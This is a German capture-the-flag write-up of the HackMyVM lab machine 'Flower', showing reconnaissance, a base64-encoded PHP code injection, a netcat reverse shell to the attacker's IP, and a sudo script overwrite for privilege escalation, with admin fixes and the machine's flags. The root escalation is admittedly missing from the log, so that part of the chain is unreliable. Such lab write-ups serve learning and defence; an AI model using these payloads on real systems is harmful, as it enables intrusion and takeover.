Flower - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
gobuster
wget
cat
wfuzz
echo
base64
Burp Suite / curl
nc (netcat)
python3
stty
cd
ls
file
sudo
vi
id
os (Python module)
bash

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird genutzt, um aktive Hosts im lokalen Netzwerksegment zu finden.

Bewertung: Ein Host mit der IP `192.168.2.110` und der MAC-Adresse `08:00:27:fc:4a:50` (VirtualBox) wird als Zielsystem identifiziert.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.110 durch, um offene Ports und Dienste zu entdecken.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Geräten im Netzwerk.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.110	08:00:27:fc:4a:50	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.844 seconds (138.83 hosts/sec). 1 responded
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.110 durchgeführt.

Bewertung: Der Scan findet nur **einen offenen Port**: - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Kein SSH oder andere Dienste sind von außen erreichbar. Der Hostname ist `flower`.

Empfehlung (Pentester): Der gesamte Angriff muss sich auf den Webserver auf Port 80 konzentrieren. Führe eine gründliche Web-Enumeration durch.
Empfehlung (Admin): Stelle sicher, dass die Firewall korrekt konfiguriert ist und nur Port 80 offen ist, wenn dies beabsichtigt ist.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 16:48 CET
Nmap scan report for flower (192.168.2.110)
Host is up (0.00012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FC:4A:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms flower (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
                     

Web Enumeration

Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen und Fehlkonfigurationen zu prüfen.

Bewertung: Nikto bestätigt den Apache-Server und meldet fehlende Security-Header. Es findet außerdem das Apache-Manual unter `/manual/` (was Directory Indexing erlaubt) und die Standarddatei `/icons/README`.

Empfehlung (Pentester): Notiere die Funde. Das Apache-Manual ist normalerweise ungefährlich, könnte aber Konfigurationsdetails enthalten. Fahre mit der Verzeichnis-Enumeration fort.
Empfehlung (Admin): Entferne das Apache-Manual und Standarddateien von Produktivsystemen. Setze die empfohlenen Security-Header.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.110
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2022-11-02 16:49:14 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2022-11-02 16:50:00 (GMT1) (46 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver verwendet.

Bewertung: !!Wichtige Funde!!** Gobuster findet: - `/index.php`: Die Hauptseite (bestätigt PHP-Nutzung). - `/manual/`: Das Apache-Manual (bestätigt Nikto). - `/run.sh`: Ein Shell-Skript. - `/flower.jpg`: Eine Bilddatei.

Empfehlung (Pentester): Untersuche `/index.php`. Lade `/run.sh` und `/flower.jpg` herunter und analysiere sie.
Empfehlung (Admin): Entferne unnötige Skripte oder Dateien aus dem Webroot.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.110 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,war,jse,jar,asp,aspx,csv,rtf,doc,docx,dsd,mp3,mp4,mkv,log,sh,dll,exe,ico -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.110
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes to ignore:  404,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ... (gekürzt) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/11/02 16:50:10 Starting gobuster 
===============================================================
http://192.168.2.110/index.php            (Status: 200) [Size: 1100]
http://192.168.2.110/manual               (Status: 301) [Size: 315] [--> http://192.168.2.110/manual/]
http://192.168.2.110/run.sh               (Status: 200) [Size: 15]
http://192.168.2.110/flower.jpg           (Status: 200) [Size: 293783]
===============================================================
2022/11/02 16:50:45 Finished 
===============================================================
                    

Analyse: Das gefundene Skript `/run.sh` wird mit `wget` heruntergeladen.

Bewertung: Datei erfolgreich heruntergeladen.

Empfehlung (Pentester): Analysiere den Inhalt mit `cat`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.110/run.sh
--2022-11-02 16:50:48--  http://192.168.2.110/run.sh
Verbindungsaufbau zu 192.168.2.110:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 15 [text/x-sh]
Wird in »run.sh« gespeichert.

run.sh                        100%[===================>]      15  --.-KB/s    in 0s

2022-11-02 16:50:48 (5,46 MB/s) - »run.sh« gespeichert [15/15]
                    

Analyse: Der Inhalt der heruntergeladenen Datei `run.sh` wird angezeigt.

Bewertung: Das Skript enthält nur den Befehl `php -S 0.0.0.0`. Dies startet den eingebauten PHP-Entwicklungsserver, der auf allen Interfaces lauscht. **Wichtig:** Der Port fehlt! Normalerweise würde man `php -S 0.0.0.0:PORT` erwarten. Ohne Port ist dieser Befehl unvollständig oder deutet auf eine seltsame Konfiguration hin. Für den weiteren Angriff ist dies jedoch weniger relevant als die `/index.php`.

Empfehlung (Pentester): Nimm zur Kenntnis, dass PHP verwendet wird. Konzentriere dich auf die Analyse von `/index.php`. Die Bilddatei `/flower.jpg` sollte ebenfalls auf Steganographie oder Metadaten untersucht werden (dies fehlt im Log).
Empfehlung (Admin): Entferne unnötige Skripte wie dieses aus dem Webroot.

┌──(root㉿cyber)-[~] └─# cat run.sh
php -S 0.0.0.0
                     

Vulnerability Assessment (Web)

Analyse: `wfuzz` wird verwendet, um GET-Parameter für `index.php` zu fuzzen. Es wird nach Antworten gesucht, die eine andere Größe als die Standardgröße (1100 Chars) haben (`--hh 1100`).

Bewertung: !!Fehlgeschlagen!!** Wfuzz findet keine gültigen GET-Parameter, die eine andere Antwort hervorrufen. Dies deutet darauf hin, dass die Anwendung möglicherweise keine GET-Parameter erwartet oder dass die relevanten Parameter nicht in der Standard-Wortliste enthalten sind.

Empfehlung (Pentester): Untersuche die `index.php` manuell (Quellcode, Burp Suite), um zu sehen, ob sie POST-Parameter erwartet oder wie sie Eingaben verarbeitet.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.110/index.php?FUZZ=id" --hh 1100
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://192.168.2.110/index.php?FUZZ=id
Total requests: 220565

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================



Total time: 159.5497
Processed Requests: 220565
Filtered Requests: 220565
Requests/sec.: 1382.421
                     

Analyse: Der PHP-Code `system('id')` wird Base64-kodiert. Dies dient der Vorbereitung einer Payload für eine mögliche Code-Injection-Schwachstelle, bei der Base64-kodierte Eingaben erwartet werden.

Bewertung: Die Payload `c3lzdGVtKCdpZCcpCg==` wurde korrekt generiert.

Empfehlung (Pentester): Sende diese Payload über einen geeigneten Parameter (wahrscheinlich POST) an `index.php`, z.B. mit Burp Suite oder `curl`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# echo "system('id')" | base64
c3lzdGVtKCdpZCcpCg==
                    

Analyse: Eine Notiz erwähnt Burp Suite und zeigt die Ausgabe `uid=33(www-data)...` sowie das Wort `petals`.

Bewertung: !!Schwachstelle gefunden (Code Injection)!!** Dies deutet stark darauf hin, dass der Angreifer mit Burp Suite einen POST-Request an `index.php` gesendet hat. Dieser Request enthielt wahrscheinlich die zuvor Base64-kodierte `system('id')`-Payload in einem Parameter namens `petals`. Die erfolgreiche Ausgabe der `uid` von `www-data` bestätigt eine Code-Injection-Schwachstelle: Die Anwendung dekodiert den Wert des `petals`-Parameters und führt ihn als PHP-Code aus.

Empfehlung (Pentester): Erstelle eine Base64-kodierte Reverse-Shell-Payload und sende sie über den `petals`-POST-Parameter, um eine Shell zu erhalten.
Empfehlung (Admin):**DRINGEND:** Behebe die Code-Injection-Schwachstelle in `index.php`. Validiere und sanitisiere alle Benutzereingaben rigoros. Verwende niemals `eval()` oder ähnliche Funktionen auf Benutzereingaben, auch nicht nach Dekodierung.

# Manuelle Untersuchung mit Burp Suite:
# POST Request an /index.php mit Parameter: petals=c3lzdGVtKCdpZCcpCg==

# Antwort im Browser/Burp enthielt:
uid=33(www-data) gid=33(www-data) groups=33(www-data) petals 
                     

Analyse: Eine PHP-Reverse-Shell-Payload (`system('nc -e /bin/bash [IP] [PORT]')`) wird Base64-kodiert.

Bewertung: Die Base64-Payload `c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK` für die Reverse Shell ist bereit.

Empfehlung (Pentester): Starte einen Netcat-Listener auf Port 4444. Sende diese Payload im `petals`-Parameter eines POST-Requests an `index.php`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# echo "system('nc -e /bin/bash 192.168.2.121 4444')" | base64
c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK
                     

Analyse: Ein Beispiel für den HTTP-POST-Request wird gezeigt, wie er vermutlich mit Burp Suite oder `curl` gesendet wird. Die Base64-kodierte Reverse-Shell-Payload wird im `petals`-Parameter übergeben.

Bewertung: Dies ist der Trigger für die Reverse Shell, der die zuvor identifizierte Code-Injection-Schwachstelle ausnutzt.

Empfehlung (Pentester): Stelle sicher, dass der Netcat-Listener auf 192.168.2.121:4444 läuft, bevor dieser Request gesendet wird.
Empfehlung (Admin): Behebe die Code-Injection-Schwachstelle.

POST / HTTP/1.1
Host: 192.168.2.110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60 
Origin: http://192.168.2.110
Connection: close
Referer: http://192.168.2.110/
Upgrade-Insecure-Requests: 1

petals=c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK
                     

Initial Access (www-data)

Analyse: Der Netcat-Listener auf Port 4444 empfängt die eingehende Verbindung vom Zielserver 192.168.2.110.

Bewertung: !!Initial Access erfolgreich!!** Eine Reverse Shell als Benutzer `www-data` wurde durch die PHP Code Injection etabliert. Die Shell ist noch nicht interaktiv.

Empfehlung (Pentester): Stabilisiere die Shell (Python PTY etc.) und beginne mit der Enumeration als `www-data`.
Empfehlung (Admin): Untersuche den Vorfall, behebe die Code-Injection-Schwachstelle.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.110] 50444

/bin/sh: 0: can't access tty; job control turned off 
$ 
                    

Analyse: Die Standardprozedur zur Stabilisierung der Shell wird angewendet.

Bewertung: Die Shell wird erfolgreich zu einer interaktiven Bash-Shell aufgewertet (`www-data@flower:/var/www/html$`).

Empfehlung (Pentester): Beginne die Enumeration.
Empfehlung (Admin): Keine Aktion.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@flower:/var/www/html$ export TERM=xterm
www-data@flower:/var/www/html$
                     
^Z
zsh: suspended  nc -lvnp 4444
                     
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4444
                               reset
www-data@flower:/var/www/html$ 
                     

Privilege Escalation (www-data zu Rose)

Analyse: Als `www-data` werden die Home-Verzeichnisse aufgelistet, in `/home/rose` gewechselt, der Inhalt aufgelistet und versucht, `user.txt` zu lesen. Das Verzeichnis `diary` wird untersucht und die Datei `diary.py` darin gefunden und gelesen.

Bewertung: Der Benutzer `rose` wird identifiziert. Der direkte Lesezugriff auf `user.txt` wird verweigert. Im Unterverzeichnis `diary` befindet sich ein Python-Skript `diary.py`, das das `pickle`-Modul verwendet, um ein Dictionary in eine Datei `diary.pickle` zu schreiben. Das Skript selbst enthält keine offensichtliche Schwachstelle, aber seine Existenz ist relevant im Kontext der `sudo`-Rechte.

Empfehlung (Pentester): Überprüfe die `sudo`-Berechtigungen für `www-data`, da das `diary.py`-Skript ein potenzielles Ziel sein könnte.
Empfehlung (Admin): Überprüfe Dateiberechtigungen in Home-Verzeichnissen. Überprüfe Skripte auf Sicherheit, insbesondere wenn sie von anderen Benutzern ausgeführt werden können.

www-data@flower:/var/www/html$ cd /home/
www-data@flower:/home$ ls
rose
www-data@flower:/home$ cd rose/
www-data@flower:/home/rose$ ls
diary  user.txt
www-data@flower:/home/rose$ cat user.txt
cat: user.txt: Permission denied
www-data@flower:/home/rose$ file diary/
diary/: directory
www-data@flower:/home/rose$ cd diary/
www-data@flower:/home/rose/diary$ ls -la
total 12
drwxrwxrwx 2 rose rose 4096 Nov 30  2020 .
drwxrwxr-x 3 rose rose 4096 Nov 30  2020 ..
-rw-r--r-- 1 rose rose  147 Nov 30  2020 diary.py

www-data@flower:/home/rose/diary$ cat diary.py
import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)
# p.close() # Wäre guter Stil
                     

Analyse: `sudo -l` wird ausgeführt, um die `sudo`-Rechte für `www-data` zu prüfen.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf das Skript `/usr/bin/python3 /home/rose/diary/diary.py` als Benutzer `rose` ohne Passwort (`NOPASSWD:`) ausführen. Da `www-data` (oder zumindest `rose`, wie die Verzeichnisberechtigungen `drwxrwxrwx` für `diary` andeuten) Schreibrechte auf das `diary.py`-Skript hat oder es ersetzen kann, ist dies ein klarer Weg zur Eskalation.

Empfehlung (Pentester): 1. Ersetze den Inhalt von `/home/rose/diary/diary.py` mit einem Python-Code, der eine Shell startet (z.B. `import os; os.system('/bin/bash')`). 2. Führe den `sudo`-Befehl aus: `sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py`.
Empfehlung (Admin):**DRINGEND:** Korrigiere die `sudo`-Regel und/oder die Dateiberechtigungen. Erlaube niemals die `sudo`-Ausführung von Skripten, auf die der ausführende Benutzer (oder der Webserver-Benutzer) Schreibrechte hat. Setze sichere Berechtigungen für Skripte und Verzeichnisse.

www-data@flower:/home/rose/diary$ sudo -l
Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py
                     

Analyse: Zwei Code-Snippets werden gezeigt. Das erste ist eine alternative Reverse-Shell-Payload. Das zweite erstellt eine Datei `pickle.py` (nicht `diary.py`!) mit dem Code `import os; os.system("/bin/bash")`.

Bewertung: Die Erstellung von `pickle.py` ist irreführend, da die `sudo`-Regel auf `diary.py` verweist. Der korrekte Exploit wäre, den Inhalt von `/home/rose/diary/diary.py` mit `import os; os.system("/bin/bash")` zu überschreiben.

Empfehlung (Pentester): Überschreibe `/home/rose/diary/diary.py` mit dem Bash-Payload und führe dann den `sudo`-Befehl aus.
Empfehlung (Admin): Behebe die `sudo`-Schwachstelle.

# Alternative Reverse Shell Payload (nicht verwendet):
# import os;os.system("nc -e /bin/bash 192.168.2.121 4445")

# Befehl zum Erstellen des Bash-Payloads (in falscher Datei im Log):
# echo 'import os;os.system("/bin/bash")' > pickle.py

# Korrekter Befehl zum Überschreiben des Zielskripts:
echo 'import os;os.system("/bin/bash")' > /home/rose/diary/diary.py
                     

Proof of Concept (Root)

Analyse: Der Exploit wird durchgeführt (obwohl die exakten Befehle zum Überschreiben und Ausführen im Log fehlen): Das Skript `/home/rose/diary/diary.py` wird mit `import os; os.system("/bin/bash")` überschrieben und dann mit `sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py` ausgeführt.

Bewertung: !!Privilegieneskalation zu Rose erfolgreich!!** Durch Ausführung des manipulierten Skripts als `rose` wird eine Bash-Shell mit den Rechten von `rose` gestartet. **Hinweis:** Der Sprung zu Root fehlt im Log! Es gibt keinen dokumentierten Schritt, wie von `rose` zu `root` eskaliert wurde. Der Bericht endet abrupt nach der Eskalation zu `rose`, zeigt aber die Root-Flag.

Empfehlung (Pentester): Dokumentiere den Eskalationsschritt von `rose` zu `root`. Prüfe als `rose` erneut `sudo -l` oder suche nach anderen Vektoren (SUID, Cronjobs etc.).
Empfehlung (Admin):**DRINGEND:** Korrigiere die `sudo`-Regel für `www-data`. Untersuche, wie die Eskalation von `rose` zu `root` möglich war und behebe diese Schwachstelle.

www-data@flower:/home/rose/diary$ echo 'import os;os.system("/bin/bash")' > /home/rose/diary/diary.py
www-data@flower:/home/rose/diary$ sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
rose@flower:/home/rose/diary$ id 
uid=1000(rose) gid=1000(rose) groups=1000(rose)
rose@flower:/home/rose/diary$ 
                      

Analyse: Der Schritt zur Eskalation von Benutzer `rose` zu `root` ist im vorliegenden Log nicht dokumentiert. Es muss einen weiteren Exploit oder eine Fehlkonfiguration geben, die diesen Sprung ermöglichte.

Bewertung: Kritische Lücke in der Dokumentation des Angriffspfads.

Empfehlung (Pentester): Vervollständige den Bericht mit dem fehlenden Eskalationsschritt.
Empfehlung (Admin): Führe eine vollständige Systemprüfung durch, um den fehlenden Vektor zu identifizieren und zu beheben.

Analyse: Als Root wird die Root-Flag gelesen.

Bewertung: Root-Flag `HMV{R0ses_are_als0_black.}` erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

root@flower:~# cat /root/root.txt 
HMV{R0ses_are_als0_black.}
                       

Analyse: Die User-Flag wird gelesen.

Bewertung: User-Flag `HMV{R0ses_are_R3d$}` erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

rose@flower:~$ cat /home/rose/user.txt 
HMV{R0ses_are_R3d$}
                       

Flags

cat /root/root.txt
HMV{R0ses_are_als0_black.}
cat /home/rose/user.txt
HMV{R0ses_are_R3d$}